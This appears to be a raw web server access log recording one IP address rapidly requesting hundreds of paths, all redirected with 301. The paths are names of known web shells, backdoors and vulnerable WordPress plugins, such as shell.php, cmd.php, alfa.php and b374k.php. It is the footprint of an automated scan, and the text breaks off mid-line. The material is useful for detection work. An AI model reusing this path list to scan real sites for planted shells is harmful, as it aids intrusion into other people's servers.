"-" 137.135.82.75 - - [11/Apr/2025:14:57:53 -0400] "GET /cgi-bin/cgi-bin/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:53 -0400] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:54 -0400] "GET /wp-mail.php/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:54 -0400] "GET /wp-comments-post.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:54 -0400] "GET /wp-includes/gCdfg/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:54 -0400] "GET /wp-content/themes/twentytwentythree/patterns/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:54 -0400] "GET /libraries/vendor/updates.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:55 -0400] "GET /wp-admin/network/upfile.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:55 -0400] "GET /ssl_check.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:55 -0400] "GET /wp-admin/user/sx.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:55 -0400] "GET /reportes/wp-content/themes/e6rffsr5/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:56 -0400] "GET /wp-content/uploads/2023/gncfqygn.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:56 -0400] "GET /phpinfo.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:56 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:57 -0400] "GET /wp-content/plugins/smaxx.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:57 -0400] "GET /wp-content/themes/sky-pro/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:57 -0400] "GET /wp-includes/js/tinymce/plugins/charmap/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:58 -0400] "GET /user_data.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:58 -0400] "GET /wp-admin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:58 -0400] "GET /utilities.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:59 -0400] "GET /boot.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:59 -0400] "GET /backup/wp-content/themes/twentytwenty/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:00 -0400] "GET /wp-content/uploads/7.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:00 -0400] "GET /.well-known/pki-validation/shell.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:00 -0400] "GET /manage.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:01 -0400] "GET /logins.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:01 -0400] "GET /wp-content/themes/astra/inc/metabox/extend-metabox/css/minified/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:01 -0400] "GET /js/tinymce/plugins/compat3x/css/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:02 -0400] "GET /wp-content/repeater.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:02 -0400] "GET /wp-content/plugins/ioptimization/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:02 -0400] "GET /wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:02 -0400] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:03 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:03 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:03 -0400] "GET /.well-known/cwianpri.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:03 -0400] "GET /M1.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:04 -0400] "GET /wp-includes/css/dist/preferences/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:04 -0400] "GET /wp-includes/blocks/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:04 -0400] "GET /news.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:04 -0400] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:05 -0400] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:05 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:05 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/a.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:05 -0400] "GET /admin_logs.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:06 -0400] "GET /update.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:07 -0400] "GET /Public/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:07 -0400] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:07 -0400] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:07 -0400] "GET /wp-content/plugins/seooyanz/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:08 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:08 -0400] "GET /files/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:09 -0400] "GET /wp-includes/block-supports/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:09 -0400] "GET /wp-includes/sodium_compat/src/Core32/Poly1305/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:09 -0400] "GET /wp-header.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:09 -0400] "GET /wp-admin/images/thumbs.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:10 -0400] "GET /wp-admin/css/colors/admin.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:10 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:10 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:10 -0400] "GET /aa.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:11 -0400] "GET /.well-known/pki-validation/worksec.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:11 -0400] "GET /wp-includes/fonts/wp-login.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:11 -0400] "GET /wp-content/themes/themes/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:11 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:12 -0400] "GET /ae.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:12 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:12 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:13 -0400] "GET /wordpress/wp-content/uploads/wpr-addons/forms/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:13 -0400] "GET /wp-content/gallery/about.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:13 -0400] "GET /doc.php/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:14 -0400] "GET /ups.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:14 -0400] "GET /wp-content/plugins/fcexjsk/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:14 -0400] "GET /css/wp-login.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:15 -0400] "GET /ern1.PhP7 HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:15 -0400] "GET /edit-tags.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:15 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:15 -0400] "GET /wp-includes/agTOMuSfW6r.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:16 -0400] "GET /wp-content/plugins2/loco-translate/tpl/debug/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:16 -0400] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:16 -0400] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:17 -0400] "GET /delete.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:17 -0400] "GET /.well-known/pki-validation/wp-admin/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:17 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:18 -0400] "GET /wp-includes/template-wploader.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:18 -0400] "GET /wp-includes/ID3/wp-login.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:18 -0400] "GET /wp-content/plugins/ImageManager/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:19 -0400] "GET /include/bussubmit.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:19 -0400] "GET /wp-content/plugins/masterx/wpx.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:19 -0400] "GET /assets/images/cmd.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:19 -0400] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:20 -0400] "GET /wp-content/plugins/insert-headers-and-footers/languages/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:20 -0400] "GET /wp-admin/alfa.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:20 -0400] "GET /wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:20 -0400] "GET /wp-content/plugins/css-ready/file.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:20 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:21 -0400] "GET /wp-admin/repeater.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:21 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:21 -0400] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:21 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:22 -0400] "GET /img/cloud.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:22 -0400] "GET /jp.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:22 -0400] "GET /wp-includes/css/core.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:22 -0400] "GET /wp-content/user/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:22 -0400] "GET /wp-content/plugins/config HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:23 -0400] "GET /cgi-bin/wp-signup.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:23 -0400] "GET /wp-includes/amaxx.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:23 -0400] "GET /wp-includes/sitemaps/providers/class-wp-sitemaps-admin.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:24 -0400] "GET /wp-admin/file.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:24 -0400] "GET /.well-known/acme-challenge/license.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:24 -0400] "GET /wp-includes/pomo/wp-login.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:24 -0400] "GET /site/wp-content/plugins/hmdqckh/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:24 -0400] "GET /sleepster/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:25 -0400] "GET /wp-content/plugins/carousel-slider/assets/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:25 -0400] "GET /fonts/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:26 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:26 -0400] "GET /privacy.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:27 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:27 -0400] "GET /wp-admin/images/chosen.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:27 -0400] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:28 -0400] "GET /wp-includes/js/crop/mart.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:28 -0400] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:28 -0400] "GET /wp-content/uploads/index HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:29 -0400] "GET /120f9.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:29 -0400] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:29 -0400] "GET /wp-includes/IXR/install.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:29 -0400] "GET /.well-known/pki-validation/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:30 -0400] "GET /wp-content/uploads/2021/03/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:30 -0400] "GET /version.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:30 -0400] "GET /error_exception.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:30 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:30 -0400] "GET /backup/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:31 -0400] "GET /review.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:31 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:31 -0400] "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:32 -0400] "GET /edit-comments.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:32 -0400] "GET /.well-known//.well-known/owlmailer.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:32 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:33 -0400] "GET /wp-content/plugins/vjeqbbj/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:33 -0400] "GET /wp-content/ccx/index.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:33 -0400] "GET /wp-admin/js//wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:33 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:34 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:34 -0400] "GET /wizard.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:34 -0400] "GET /alfa-rex.PhP7 HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:34 -0400] "GET /wp-content/plugins/wp-hps/sh/b374k.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:34 -0400] "GET /wp-admin/css/colors/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:35 -0400] "GET /admin/fckeditor/editor/filemanager/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:35 -0400] "GET /wp-content/uploads/BbUMY/index.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:35 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:35 -0400] "GET /wp-content/uploads/chosen.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:36 -0400] "GET /query.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:36 -0400] "GET /wp-includes/class-wp-cache.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:36 -0400] "GET /index1.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:36 -0400] "GET /wp-content/plugins/custom/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:37 -0400] "GET /wp-content/themes/f25zgwig/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:37 -0400] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:37 -0400] "GET /wp-content/plugins/wordfence/js/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:37 -0400] "GET /wp-content/plugins/ninja-forms/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:38 -0400] "GET /test/maxitest_v3/wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:38 -0400] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:38 -0400] "GET /wp-includes/eew.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:39 -0400] "GET /wp-content/plugins/widget-logic/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:39 -0400] "GET /wp-admin/themes/setup HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:39 -0400] "GET /.well-known/pki-validation/fond.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:39 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:39 -0400] "GET /media.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:40 -0400] "GET /wp-content/upgrade/pdf.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:40 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:40 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:40 -0400] "GET /wp-content/plugins/ccx/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:40 -0400] "GET /wp-content/languages/index.php.suspected HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:41 -0400] "GET /wp-content/plugins/wp-apxupx.php?apx=upx HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:41 -0400] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:41 -0400] "GET /ajax-actions.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:41 -0400] "GET /products/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:41 -0400] "GET /wp-admin/setup HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:42 -0400] "GET /wp-content/plugins/dzs-zoomsounds/error_log_1210678535.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:42 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:42 -0400] "GET /permissions.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:42 -0400] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:42 -0400] "GET /wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:43 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:43 -0400] "GET /.well-known/acme-challenge/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:43 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:43 -0400] "GET /gawean.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:43 -0400] "GET /wp-includes/fonts/log404.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:44 -0400] "GET /wp-includes/js/crop/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:44 -0400] "GET /wp-includes/css/dist/components/admin.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:44 -0400] "GET /download.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:44 -0400] "GET /wp-includes/Requests/Transport/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:44 -0400] "GET /test.php7 HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:45 -0400] "GET /wordpress/wp-includes/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:45 -0400] "GET /yanz.php/wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:45 -0400] "GET /wp-admin/css/colors/light/about.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:45 -0400] "GET /.well-known/bek.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:45 -0400] "GET /spam.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:46 -0400] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:46 -0400] "GET /wp-content/plugins/pwnd-1/pwnd.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:46 -0400] "GET /.well-known/pki-validation/top.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:46 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:46 -0400] "GET /pki-validation/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:47 -0400] "GET /.well-known/pki-validation/dropdown.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:47 -0400] "GET /feeds.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:47 -0400] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:47 -0400] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:47 -0400] "GET /wp-content/plugins/Duplicatepost/src/ui/sidwso.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:48 -0400] "GET /forum.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:48 -0400] "GET /wp-includes/js/jquery/ui/3k0sm2/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:48 -0400] "GET /wp-content/themes/travelscape/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:48 -0400] "GET /wp-links.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:49 -0400] "GET /wp-includes/customize/amaxx.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:49 -0400] "GET /update/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:49 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:49 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:49 -0400] "GET /wp-content/themes/about HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:50 -0400] "GET /alfanew.PhP7 HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:50 -0400] "GET /content.php888 HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:50 -0400] "GET /ms-themes.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:50 -0400] "GET /.well-known/pki-validation/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:51 -0400] "GET /theme.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:51 -0400] "GET /smaxx.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:51 -0400] "GET /wp-content/plugins/urawmub/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:51 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/info.php.suspected HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:58:51 -0400] "GET 